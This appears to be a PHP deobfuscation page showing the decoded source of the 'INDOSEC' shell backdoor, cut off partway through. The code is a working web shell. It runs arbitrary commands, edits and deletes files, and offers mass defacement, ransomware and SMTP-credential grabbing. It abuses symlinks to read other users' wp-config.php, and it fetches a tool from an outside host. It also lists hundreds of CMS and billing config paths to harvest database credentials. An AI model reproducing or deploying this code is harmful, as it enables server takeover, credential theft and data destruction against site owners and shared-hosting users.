Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ZQ018; hn1q4: $paths = explode("/", $path); goto TYnbq; yOFw_: if ($_GET["ak..

Decoded Output download

<?php  
 goto ZQ018; hn1q4: $paths = explode("/", $path); goto TYnbq; yOFw_: if ($_GET["aksi"] == "smtpgrab") { scj($dir); } goto TLIVZ; p4LcE: if (!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])) { if (isset($_POST["pass"]) && md5($_POST["pass"]) == $aupas) { $_SESSION[md5($_SERVER["HTTP_HOST"])] = true; } else { login_shell(); } } goto EzpS3; t4EOb: function aksiAdminer($dir, $file) { goto GzENx; wmcT9: function adminer($url, $isi) { goto Wje3x; NnYxi: flush(); goto EmKHC; qJv2q: fclose($fp); goto MKoWR; BCGLr: curl_close($ch); goto qJv2q; KLWD0: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto sogRO; Wje3x: $fp = fopen($isi, "w"); goto q7ph0; Xk1u1: curl_setopt($ch, CURLOPT_FILE, $fp); goto E40hi; MKoWR: ob_flush(); goto NnYxi; iT8Aj: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto Xk1u1; feIq0: curl_setopt($ch, CURLOPT_URL, $url); goto KLWD0; q7ph0: $ch = curl_init(); goto feIq0; E40hi: return curl_exec($ch); goto BCGLr; sogRO: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto iT8Aj; EmKHC: } goto LP9LL; LP9LL: if (file_exists("adminer.php")) { echo "<a href='{$full}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { if (adminer("https://flow.sytes.net/arrow/adminer.txt", "adminer.php")) { echo "<p class='text-center'>Berhasil Membuat Adminer</p><a href='{$full}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { echo "<p class='text-center text-danger'>Gagal Membuat Adminer</p>"; } } goto EZ8L5; EZ8L5: exit; goto GvZfE; GzENx: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto wmcT9; GvZfE: } goto Mc7Gl; hNteG: echo "Path : "; goto hhyOO; KpT3J: if ($_GET["aksi"] == "ransom") { ransom($dir, $file); } goto yOFw_; wJqsn: $default_action = "FilesMan"; goto ZW7rE; TYnbq: if (isset($_GET["dir"])) { $dir = $_GET["dir"]; chdir($dir); } else { $dir = getcwd(); } goto ibkH5; Yfk60: @error_reporting(0); goto EeAx4; gBjsA: if ($_GET["aksi"] == "disabfunc") { disabFunc($dir, $file); } goto UX23f; d8yGS: function editFile($dir, $file, $nfile, $imgfile) { goto JJafO; VkwRn: echo "<form method='POST'>\xd 
\x9\x9<h5>{$imgfile} Edit File : {$nfile}</h5> 
\xa\x9\x9<textarea rows='13' class='form-control' name='isi'>" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br/>\xd 
\x9\x9\x9<button type='sumbit' class='btn btn-info btn-block' name='edit_file'>Update</button> 
	</form>"; goto ELdwK; ELdwK: if (isset($_POST["edit_file"])) { goto ZPFcD; ZPFcD: $updt = fopen("{$file}", "w"); goto vocA9; tko2S: if ($hasil) { goto iRXHD; fKfsI: swall($swa, $text, $dir); goto U6Plm; iRXHD: $swa = "success"; goto gFaqE; gFaqE: $text = "Berhasil Update File"; goto fKfsI; U6Plm: } else { goto BZl97; BZl97: $swa = "error"; goto ihdSj; sm6GS: swall($swa, $text, $dir); goto EI2Um; ihdSj: $text = "Gagal Update File"; goto sm6GS; EI2Um: } goto qLYiP; vocA9: $hasil = fwrite($updt, $_POST["isi"]); goto tko2S; qLYiP: } goto lOisP; JJafO: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto VkwRn; lOisP: } goto w5cNg; tlikY: if ($_GET["aksi"] == "cgi") { aksicgi($dir, $file); } goto BEmbQ; b023T: @ini_set("max_execution_time", 0); goto IxIib; zepmk: function view($dir, $file, $nfile, $imgfile) { echo "[ <a class="active" href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ] 
\xa\x9<h5>" . $imgfile . " Lihat File : " . $nfile . "</h5>\xd 
	<textarea rows="13" class="form-control" disabled="">" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br/>"; } goto d8yGS; cx3uU: if ($_GET["aksi"] == "buat_folder") { buatFolder($dir, $imgfol); } goto rejeN; wDUXc: if ($_GET["aksi"] == "buat_file") { buatFile($dir, $imgfile); } goto QId2Q; Ion9F: if (isset($_GET["cmd"])) { echo "<pre class='text-white'>" . exe($_GET["cmd"]) . "</pre>"; exit; } goto hWdMx; lIdeL: echo "<div class="container"> 
\xa		\x9<h1 class="text-center"><a href="https://facebook.com/IndoSecOfficial" style="color:#ffffff;">{ INDOSEC }</h1> 
\x9\x9\x9<center><h5>Shell Backdoor</a></h5></center> 
\xa\x9\x9	<hr/>\xd\xa\x9		<div class="text-center">\xd\xa		\x9	<div class="d-flex justify-content-center flex-wrap"> 
\x9\x9\x9\x9\x9<a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a>\xd 
			\x9	<a href="?dir=" . $dir . "&aksi=upload" class="fiture btn btn-danger btn-sm"><i class="fa fa-upload"></i> Upload</a> 
		\x9\x9	<a href="?dir=" . $dir . "&aksi=buat_file" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus-circle"></i> Buat File</a> 
\xa\x9		\x9	<a href="?dir=" . $dir . "&aksi=buat_folder" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Buat Folder</a>\xd 
					<a href="?dir=" . $dir . "&aksi=masdef" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Mass Deface</a>\xd\xa\x9		\x9	<a href="?dir=" . $dir . "&aksi=masdel" class="fiture btn btn-danger btn-sm"><i class="fa fa-trash"></i> Mass Delete</a> 
\xa	\x9\x9\x9	<a href="?dir=" . $dir . "&aksi=jumping" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Jumping</a>\xd 
		\x9\x9	<a href="?dir=" . $dir . "&aksi=config" class="fiture btn btn-danger btn-sm"><i class="fa fa-cogs"></i> Config</a> 
\xa			\x9\x9<a href="?dir=" . $dir . "&aksi=adminer" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Adminer</a> 
\xa		\x9\x9\x9<a href="?dir=" . $dir . "&aksi=cgi" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Cgi</a> 
\x9	\x9		<a href="?dir=" . $dir . "&aksi=symlink" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-circle"></i> Symlink</a>\xd 
\x9	\x9\x9	<a href="?dir=" . $dir . "&aksi=bctools" class="fiture btn btn-danger btn-sm"><i class="fas fa-network-wired"></i> Network</a>\xd\xa\x9	\x9	\x9<a href="?dir=" . $dir . "&aksi=resetpasscp" class="fiture btn btn-warning btn-sm"><i class="fa fa-key"></i> Auto Reset Cpanel</a>\xd\xa	\x9	\x9	<a href="?dir=" . $dir . "&aksi=auteduser" class="fiture btn btn-warning btn-sm"><i class="fas fa-user-edit"></i> Auto Edit User</a> 
			\x9\x9<a href="?dir=" . $dir . "&aksi=ransom" class="fiture btn btn-warning btn-sm"><i class="fab fa-keycdn"></i> Ransomware</a> 
	\x9\x9		<a href="?dir=" . $dir . "&aksi=smtpgrab" class="fiture btn btn-warning btn-sm"><i class="fas fa fa-exclamation-circle"></i> SMTP Grabber</a>\xd\xa		\x9\x9	<a href="?dir=" . $dir . "&aksi=bypascf" class="fiture btn btn-warning btn-sm"><i class="fas fa-cloud"></i> Bypass Cloud Flare</a> 
\xa\x9\x9			<a href="?dir=" . $dir . "&aksi=zip_menu" class="fiture btn btn-warning btn-sm"><i class="fa fa-file-archive-o"></i> Zip Menu</a>\xd 
		\x9\x9	<a href="?about" class="fiture btn btn-warning btn-sm"><i class="fa fa-info"></i> About Us</a>\xd\xa		\x9\x9	<a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> keluar</a>\xd 
\x9		\x9</div>\xd\xa		\x9</div> 
		\x9<div class="row"> 
\xa		\x9\x9<div class="col-md-5"><br/>\xd 
		\x9		<h5><i class="fa fa-terminal"></i>Terminal : </h5>\xd 
	\x9	\x9\x9<form>\xd\xa\x9	\x9		\x9<input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | whoami | heked"> 
\xa\x9\x9			</form> 
\xa	\x9	\x9	<hr/>\xd\xa	\x9\x9		<h5><i class="fa fa-search"></i> Informasi : </h5> 
\xa\x9	\x9\x9	<div class="card table-responsive">\xd\xa	\x9\x9\x9		<div class="card-body"> 
			\x9\x9		<table class="table infor"> 
	\x9\x9\x9\x9\x9\x9	<tr>\xd 
\x9	\x9		\x9\x9\x9	<td>PHP</td> 
\xa\x9\x9		\x9		\x9\x9<td> : " . $ver . "</td> 
				\x9\x9\x9	</tr>\xd 
	\x9\x9\x9	\x9	\x9<tr>\xd 
		\x9\x9	\x9\x9\x9	<td>IP Server</td> 
		\x9			\x9		<td> : " . $ip . "</td>\xd\xa	\x9\x9	\x9	\x9\x9</tr>\xd\xa		\x9	\x9	\x9\x9<tr>\xd 
	\x9\x9		\x9	\x9	<td>HDD</td> 
		\x9	\x9\x9	\x9\x9<td class="d-flex">Total : " . formatSize($total) . " Free : " . formatSize($free) . " [" . $pers . "%]</td> 
\xa\x9\x9		\x9		\x9</tr> 
\xa\x9\x9\x9					<tr>\xd 
\x9	\x9\x9\x9\x9\x9	\x9<td>Domain</td>\xd 
			\x9	\x9	\x9\x9<td>: " . $dom . "</td> 
\xa\x9\x9\x9\x9	\x9\x9\x9</tr>\xd\xa\x9	\x9		\x9	\x9<tr>\xd\xa				\x9\x9			<td>MySQL</td> 
\x9\x9\x9	\x9	\x9\x9	<td>: " . $mysql . "</td> 
\xa\x9\x9	\x9\x9\x9\x9\x9</tr>\xd 
\x9\x9\x9	\x9	\x9	<tr>\xd\xa	\x9		\x9		\x9\x9<td>cURL</td>\xd 
\x9\x9\x9			\x9		<td>: " . $curl . "</td>\xd\xa\x9\x9	\x9			\x9</tr>\xd 
\x9		\x9\x9\x9\x9	<tr> 
	\x9	\x9			\x9	<td>Mailer</td>\xd 
			\x9	\x9\x9\x9	<td>: " . $mail . "</td>\xd\xa\x9	\x9	\x9\x9\x9\x9</tr>\xd\xa\x9	\x9	\x9			<tr>\xd 
	\x9\x9\x9\x9	\x9		<td>Disable Function</td> 
\xa\x9\x9	\x9\x9\x9	\x9	<td>: " . $show_ds . "</td>\xd 
\x9	\x9\x9\x9\x9	\x9</tr>\xd 
	\x9	\x9\x9		\x9<tr> 
	\x9\x9\x9	\x9\x9\x9	<td>Software</td> 
\x9			\x9				<td>: " . $sof . "</td>\xd 
\x9	\x9\x9	\x9\x9	</tr> 
\xa	\x9\x9		\x9	\x9<tr>\xd 
\x9	\x9\x9\x9	\x9		<td>Sistem Operasi</td> 
\xa	\x9\x9					\x9<td> : " . $os . "</td> 
\xa				\x9\x9	\x9</tr> 
\x9\x9	\x9\x9	\x9</table>\xd 
		\x9\x9		</div>\xd\xa			\x9	</div><hr/>\xd 
	\x9		</div>\xd 
		\x9<div class="col-md-7 mt-4">"; goto TyPNd; cqr2q: if ($_GET["aksi"] == "chmod_file") { chmodFile($dir, $file, $nfile); } goto wDUXc; lGLyr: function sym404($dir, $file) { goto KavRl; zXBj0: exit; goto UTuJE; KavRl: $cp = get_current_user(); goto oPEQP; oPEQP: if ($_POST["execute"]) { goto wGkxr; KSJBV: $isi = $_POST["isi"]; goto GQdc9; Uf7R1: echo "<a href="/indosec_sym404/" target="_blank" class="btn btn-success btn-block mb-3">Click Me!!</a>"; goto kYf1I; gdlli: @mkdir("indosec_sym404", 0777); goto YsTJu; YsTJu: $dir = $_POST["dir"]; goto KSJBV; GDVee: $inija = fopen("indosec_sym404/.htaccess", "w"); goto eD0UI; eD0UI: @fwrite($inija, "ReadmeName " . $isi . "\xaOptions Indexes FollowSymLinks 
DirectoryIndex ids.html\xaAddType text/plain php html php5 phtml\xaAddHandler text/plain php html php5 phtml\xaSatisfy Any"); goto Uf7R1; GQdc9: @system("ln -s " . $dir . "indosec_sym404/" . $isi); goto rheAQ; wGkxr: @rmdir("indosec_sym404"); goto gdlli; rheAQ: @symlink($dir, "indosec_sym404/" . $isi); goto GDVee; kYf1I: } else { echo "<h2>Symlink 404</h2> 
\x9	<form method="post"> 
\x9		File Target: <input type="text" class="form-control" name="dir" value="/home/" . $cp . "/public_html/wp-config.php"><br/> 
\xa\x9\x9\x9Save As: <input type="text" class="form-control" name="isi" placeholder="[Ex] file.txt"/><br/>\xd\xa\x9	\x9<input type="submit" class="btn btn-danger btn-block" value="Execute" name="execute"/> 
	\x9\x9<p class="text-muted">NB: Letak wp-config tidak semuanya berada di <u>public_html/wp-config.php</u> jadi silahkan ubah sesuai letaknya.</p> 
\xa	\x9</form>"; } goto zXBj0; UTuJE: } goto cJZq9; IxIib: @ini_set("output_buffering", 0); goto dr5yf; TJWJH: if ($_GET["aksi"] == "zip_menu") { zipMenu($dir, $file); } goto RG3Mn; xBMpg: if ($_GET["aksi"] == "auteduser") { autoEdit($dir, $file); } goto KpT3J; w5cNg: function renameFile($dir, $file, $nfile, $imgfile) { goto yD2Fs; JTvjF: if (isset($_POST["rename_file"])) { goto SAthl; Hlv1z: rename($baru, $lama); goto nzZKl; xoiVu: $baru = $_POST["namanew"]; goto Hlv1z; nzZKl: if (file_exists($baru)) { goto Qirij; Qirij: $swa = "success"; goto Dddy9; Dddy9: $text = "Nama {$baru} Telah Digunakan"; goto ck4py; ck4py: swall($swa, $text, $dir); goto YxXCn; YxXCn: } else { if (rename($lama, $baru)) { goto sslmU; sslmU: $swa = "success"; goto XDIC8; ZR2ak: swall($swa, $text, $dir); goto woAhs; XDIC8: $text = "Berhasil Mengganti Nama Menjadi {$baru}"; goto ZR2ak; woAhs: } else { goto IvPY4; Cwn4U: swall($swa, $text, $dir); goto NMXSn; IH4Ak: $text = "Gagal Mengganti Nama"; goto Cwn4U; IvPY4: $swa = "error"; goto IH4Ak; NMXSn: } } goto ywxkr; SAthl: $lama = $file; goto xoiVu; ywxkr: } goto n9_VX; CR6jN: echo "<form method='POST'> 
\xa\x9\x9<h5>{$imgfile} Rename File : {$nfile}</h5> 
\xa		<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$nfile}'><br/> 
\xa\x9\x9<button type='sumbit' class='btn btn-info btn-block' name='rename_file'>Rename</button> 
\xa	</form>"; goto JTvjF; yD2Fs: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto CR6jN; n9_VX: } goto bMmbo; xz2zF: echo "<a href='#' class='scrollToTop'><i class='fa fa-arrow-up up' aria-hidden='true'></i></a>"; goto qap3T; EzpS3: if (isset($_GET["file"]) && $_GET["file"] != '' && $_GET["aksi"] == "download") { goto zVQWx; kuX0n: header("Content-Disposition: attachment; filename="" . basename($file) . """); goto RA6oN; SWf0q: header("Content-Description: File Transfer"); goto ydkUx; ydkUx: header("Content-Type: application/octet-stream"); goto kuX0n; W0ugW: $file = $_GET["file"]; goto SWf0q; ECZ_h: header("Content-Length: " . filesize($file)); goto pHJCM; tL3ea: exit; goto Quuh6; pHJCM: readfile($file); goto tL3ea; zVQWx: @ob_clean(); goto W0ugW; JOHFN: header("Cache-Control: must-revalidate"); goto hcZgn; hcZgn: header("Pragma: public"); goto ECZ_h; RA6oN: header("Expires: 0"); goto JOHFN; Quuh6: } goto ZCeW1; ML2sV: if ($_GET["aksi"] == "upload") { aksiUpload($dir); } goto o9j8b; pk13s: $show_ds = !empty($ds) ? "<a href='?dir={$dir}&aksi=disabfunc' class='ds'>{$ds}</a>" : "<a href='?dir={$dir}&aksi=disabfunc'><font color=green>NONE</font></a>"; goto SnXTb; BEmbQ: if ($_GET["aksi"] == "symlink") { aksiSym($dir, $file); } goto QWWRl; RG3Mn: if (isset($_GET["path"])) { $path = $_GET["path"]; chdir($path); } else { $path = getcwd(); } goto mP4ds; mZGym: function aksiConfig($dir, $file) { if ($_POST) { goto nugCa; tBTEG: foreach ($user_config[1] as $user_con) { $user_config_dir = "/home/{$user_con}/public_html/"; if (is_readable($user_config_dir)) { $grab_config = array("/home/{$user_con}/.my.cnf" => "cpanel", "/home/{$user_con}/public_html/config/koneksi.php" => "Lokomedia", "/home/{$user_con}/public_html/forum/config.php" => "phpBB", "/home/{$user_con}/public_html/sites/default/settings.php" => "Drupal", "/home/{$user_con}/public_html/config/settings.inc.php" => "PrestaShop", "/home/{$user_con}/public_html/app/etc/local.xml" => "Magento", "/home/{$user_con}/public_html/admin/config.php" => "OpenCart", "/home/{$user_con}/public_html/application/config/database.php" => "Ellislab", "/home/{$user_con}/public_html/vb/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/forum/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/forums/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/cc/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/inc/config.php" => "MyBB", "/home/{$user_con}/public_html/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/shop/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/os/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/products/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/cart/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/inc/conf_global.php" => "IPB", "/home/{$user_con}/public_html/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wp/test/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/blog/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/beta/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/portal/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/site/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wp/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/WP/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/news/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wordpress/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/test/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/demo/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/home/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/v1/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/v2/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/press/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/new/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/blogs/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/configuration.php" => "Joomla", "/home/{$user_con}/public_html/blog/configuration.php" => "Joomla", "/home/{$user_con}/public_html/submitticket.php" => "^WHMCS", "/home/{$user_con}/public_html/cms/configuration.php" => "Joomla", "/home/{$user_con}/public_html/beta/configuration.php" => "Joomla", "/home/{$user_con}/public_html/portal/configuration.php" => "Joomla", "/home/{$user_con}/public_html/site/configuration.php" => "Joomla", "/home/{$user_con}/public_html/main/configuration.php" => "Joomla", "/home/{$user_con}/public_html/home/configuration.php" => "Joomla", "/home/{$user_con}/public_html/demo/configuration.php" => "Joomla", "/home/{$user_con}/public_html/test/configuration.php" => "Joomla", "/home/{$user_con}/public_html/v1/configuration.php" => "Joomla", "/home/{$user_con}/public_html/v2/configuration.php" => "Joomla", "/home/{$user_con}/public_html/joomla/configuration.php" => "Joomla", "/home/{$user_con}/public_html/new/configuration.php" => "Joomla", "/home/{$user_con}/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/WHMC/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whmc/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmc/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/WHM/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/HOST/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Host/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/host/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Supportes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/supportes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/domains/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/domain/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Hosting/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/hosting/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CART/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Cart/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/cart/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ORDER/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Client/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/client/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientarea/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Support/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/support/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLING/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billing/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billing/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BUY/sumitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Buy/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/buy/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Manage/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/manage/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Checkout/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/checkout/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BASKET/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Basket/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/basket/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SECURE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Secure/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SALES/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Sales/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/sales/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILL/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Bill/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/bill/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Purchase/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/purchase/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Account/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/account/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/USER/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/User/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/user/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clients/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clients/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/MY/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/My/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/my/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/panel/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/cliente/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/support/order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/box/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/host/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/Host/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/supportes/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/support/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/hosting/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/cart/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/order/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/client/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/clients/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/cliente/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/clientes/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/billing/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/billings/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/my/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/secure/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/support/order/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/products/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/host/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/support/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/order/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/client/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/my/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/secure/includes/iso4217.php" => "Hostbills", 